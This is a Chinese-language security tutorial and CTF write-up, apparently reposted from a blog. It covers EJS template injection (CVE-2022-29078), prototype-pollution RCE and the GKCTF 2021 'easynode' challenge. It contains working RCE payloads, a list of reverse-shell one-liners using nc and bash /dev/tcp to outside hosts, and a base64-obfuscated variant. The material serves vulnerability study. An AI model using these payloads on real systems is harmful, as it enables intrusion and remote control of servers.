Ejs模板引擎注入实现RCE
2023-3-20 19:17:0 Author: xz.aliyun.com(查看原文) 阅读量:50 收藏

Ejs简介:

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

  • 功能:缓存功能,能够缓存好的HTML模板;
  • <% code %>用来执行javascript代码
  • 安装:

基础用法:

标签:

所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样Coding

//test.ejs
<% var a = 123 %>
<% console.log(a); %>

//test.js
var ejs = require('ejs');
var fs = require('fs');
var data = fs.readFileSync('test.ejs');
var result = ejs.render(data.toString());
console.log(result);
//123

var ejs = require('ejs');
var result = ejs.render('<% var a = 123 %><%console.log(a); %>');
console.log(result);
//123

插值语句:

<%= 变量名 %>
 if else 语句
  <% if(条件){ %>
      html代码
   <% } %>

实例:

<body>
<% if (state === 'danger') { %>
     <p>危险区域, 请勿进入</p>
<% } else if (state === 'warning') { %>
    <p>警告, 你即将进入危险区域</p>
<% } else { %>
    <p>状态安全</p>
<% } %>
</body>

循环语句:

<% arr.foreach((item,index)=>{ %>
       html代码
     <% }) %>

实例:

<body>
<ul>
<% for(var i = 0; i < users.length; i++) { %>
<% var user = users[i]; %>
    <li><%= user %></li>
<% } %>
</ul>
</body>

渲染页面:

ejs.compile(str,[option])

编译字符串得到模板函数,参数如下

str需要解析的字符串模板
option配置选项
var template = ejs.compile('<%=123 %>');
var result = template();
console.log(result);
//123

ejs.render(str,data,[option])

直接渲染字符串并生成html,参数如下

str需要解析的字符串模板
data数据
option配置选项
var result = ejs.render('<%=123 %>');
console.log(result);
//123

变量:

<%=...%>输出变量,变量若包含 '<' '>' '&'等字符会被转义

var ejs = require('ejs');
var result = ejs.render('<%=a%>',{a:'<div>123</div>'});
console.log(result);
//&lt;div&gt;123&lt;/div&gt;

如果不希望变量值的内容被转义,那就这么用<%-... %>输出变量

var ejs = require('ejs');
var result = ejs.render('<%-a%>',{a:'<div>123</div>'});
console.log(result);
//<div>123</div>

注释:

<%# some comments %>来注释,不执行不输出

文件包含:

include可以引用绝对路径或相对路径的模板文件

//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');var result = ejs.render('<% include test.ejs %>');
//throw new Error('`include` use relative path requires the \'filename\' option.');
console.log(result);

由上面的提示可知,使用相对路径时,必须设置'filename'选项

//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');var result = ejs.render('<% include test.ejs %>',{filename:'test.ejs'});
console.log(result);
//123

CVE-2022-29078:

SSTI分析方式:

NodeJS 的 EJS(嵌入式 JavaScript 模板)版本 3.1.6 或更早版本中存在 SSTI(服务器端模板注入)漏洞。

该漏洞settings[view options][outputFunctionName]在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。

复现:

环境搭建:

npm install ejs@3.1.6
npm install express

app.js:

const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});

index.ejs:

<html>
    <head>
        <title>Lab CVE-2022-29078</title>
    </head>

    <body>
        <h2>CVE-2022-29078</h2>
        <%= test %>
    </body>
</html>

漏洞代码:

如果先看index.ejs代码,可以看到req.query`是这样传递的。我们查看 Node_Modules 的 ejs/lib/ejs.js 文件,我们可以看到以下代码部分。

/**
 * Render an EJS file at the given `path` and callback `cb(err, str)`.
 *
 * If you would like to include options but not data, you need to explicitly
 * call this function with `data` being an empty object or `null`.
 *
 * @param {String}             path     path to the EJS file
 * @param {Object}            [data={}] template data
 * @param {Options}           [opts={}] compilation and rendering options
 * @param {RenderFileCallback} cb callback
 * @public
 */

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};

如果你仔细看上面的代码,你会发现下面的代码部分是独一无二的。

...
if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
...

data=args.shift()可以查看是否输入了该值curl "127.0.0.1:3000?test=AAAA",如果发送curl请求,通过debug试一下,data可以检查用户输入的参数test和值是否在里面输入。AAAA


然后我们继续往下面看:

...
viewOpts = data.settings['view options'];
    if (viewOpts) {
        utils.shallowCopy(opts, viewOpts);
    }
...

因为这个位置data是test传入的内容,所以data我们间接可控,所以我们可以强行插入setting['view options']来设置

  • curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[A\]=BBBB"

所以我们来跟进shallowCopy函数:

exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};

取出第二个输入自变量的元素,并将使用该元素的数组的值存储在具有与第一个自变量相同的元素的数组中,有点像merge函数。这里面的两个参数to就是opts,from就是我们能够控制的viewOpts,这让就将里面的A:BBBB给了opts


从图中可以看出,的值存储to['A']在 中。BBBB也就是说,用户可以操纵第一个参数。调用的变量在本文中opts作为第一个参数传递,opts稍后在以下函数中使用该变量。

if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
...

从代码中可以看出,optsoutputFunctionName的元素值取出prepended并放入 中,对应的值后面作为连接其他值的代码执行。由于用户opts可以操纵 ,outputFunctionName所以值也可以被调制,并且可以通过 RCE 生成想要的值。

curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;console.log('Hacked');x"

所以我们最后的POC就是:

curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"

原型链污染分析方式:

我们来调试一下这个ejs来看一下利用方式:

Ejs.js:

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'Ic4_F1ame'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>


我们发现成功开启了计算机

分析:

  • 在res.render处下断点
  • 进入到response.js,到1039行的app.render函数
app.render(view,opts,done)
  • 继续跟进到application.js,到render函数,函数的最后一行tryRender
tryRender(view,renderOptions,done)
  • 到同文件application.js中的tryRender函数,调用了view.render(options, callback);
function tryRender(view,renderOptions,done){
    try{
        view.render(options,callback);
    }
    catch(err){
    callback(err)
    }
}
  • 跟进render函数,到view.js的render函数,这里调用this.engine。


跟进this.engine(this.path, options, callback);,从这里进入到了模板渲染引擎 ejs.js

return tryHandleCache(opt,data,cb);

跟进tryHandleCache,调用handleCache方法,传data参数

try{
    result = handleCache(options)=(data);
}

跟进handleCache,调用渲染模板的compile方法

func = exports. compile(template,options);

跟进compile方法,调用templ.compile(),这个函数存在大量的渲染拼接,==其中会判断opts.outputFunctionName是否存在,这也是我们为什么要污染outputFunctionName属性的缘故==,判断成功会将outputFunctionName拼接到prepended中。

而prepended 在最后会被传递给 this.source并被带入函数执行

compile:function(){
……
if(!this.source){
    this.generateSource();
    prepended +=
        ' var __output = "";\n'+
        ' function __append(s) { if (s !== undefined && s !== null) __output +=s }\n';
    if(opts.outputFunctionName){
        prepended += ' var ' + opts.outputFunctionName + ' =__append;' + '\n';
    }
}
}

常用ejs模板引擎RCE的POC:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}

实战:

[GKCTF 2021]easynode:

顺便练一下JavaScript代码审计:

题目给出了源码,开局让我们先进行登录,所以我们首先要进行的就是如何使用admin进行登录的操作:

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());



let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})


app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })


app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token

    var data =  JSON.parse(req.body.data)

    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;

            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});



app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})

我们思路首先看到路由方向:因为我们要进行登录,所以看到/login路由的地方:

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })

这个代码我们可以看到把username和password值取为post传的值,然后放在safeQuery里面进行处理,所以我们跟进safeQuery函数:

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

可以发现这里是一个waf,用于防止sql注入中的单双引号闭合:定义了waf对传入的username和password进行遍历然后将黑名单里的东西进行替换,然后再将str进行拼接,将非法字符替换成*然后拼接两边的东西,这个地方对传入的字符串用数组str[i]逐个进行遍历

所以我们可以用数组进行绕过:username[str1,str2,str3]对应的就是:username遍历数组里面的键值,所以我们就可以绕过他的单个遍历,直接让字符串等于*(显然不相等)

但是依然不能够注入到sql语句当中:因为

let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

这里substr只能对字符串进行使用,而数组不能够使用,所以没法将其注入到sql语句当中,但是我们注意到有这个函数:

const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
    return str;
    }

他会将匹配到的恶意字符变成*然后前后拼接,形成一个字符串类型,所以我们只要能够在后面构造出一个非法字符,就可以将数组再次转化为字符串。


所以我们提交的payload就是:

username[]=admin'#&urname[]=1&uername[]=1&uername[]=1&uername[]=1&sername[]=(&password=123

然后我们成功登录进去拿到了token。

我们继续审计代码发现了adminDIV路由中存在对键值操作的代码,有可能会引起原型链污染:

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token

    var data =  JSON.parse(req.body.data)

    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 

        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

这个地方拿取了cookie的值,将post的内容以json形式传递给data,然后调用verifyToken函数验证token的有效性并将结果返回给result,如果验证通过就进入if语句当中,然后将用户名保存在变量username中,构建一个sql查询语句,从board中获取对应用户的数据

// 调用 select 函数执行 SQL 查询,将结果转换为 JSON 格式
    var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 

    // 从查询结果中获取该用户的布局数据
    board = JSON.parse(JSON.stringify(query[0].board));

然后遍历post传参的内容,并构建一个addDIV,将post内容写入,这个地方的extend函数其实就是一个merge函数,又因为addDIV的值来源于post内容,所以我们能够控制其值,从而达到原型链污染的效果。

var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`

我们注意这个代码:addDIV由三部分组成,我们想要污染,我们就需要uesrname为proto,所以这里额外需要用addAdmin路由来进行添加,而addAdmin这个位置就需要我们login路由里面的token进行注册,这样才能成功注册用户名__proto__.

因为使用的是ejs模板,并进行了调用,我们就可以直接利用里面的outputFunctionName进行污染拼接:

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

所以我们在adminDIVpost传参处构造payload:

{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/100.100.100.100/2333 0>&1\"');var __tmp2"}

因为这里是post传参,不是JSON,所以我们要对反弹shell的地方进行base64编码然后再解码,以免出现控制字符的干扰:

{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAwLjEwMC4xMDAuMTAwLzIzMzMgMD4mMVwi|base64 -d|bash');var __tmp2"}

文章来源: https://xz.aliyun.com/t/12323
如有侵权请联系:admin#unsafe.sh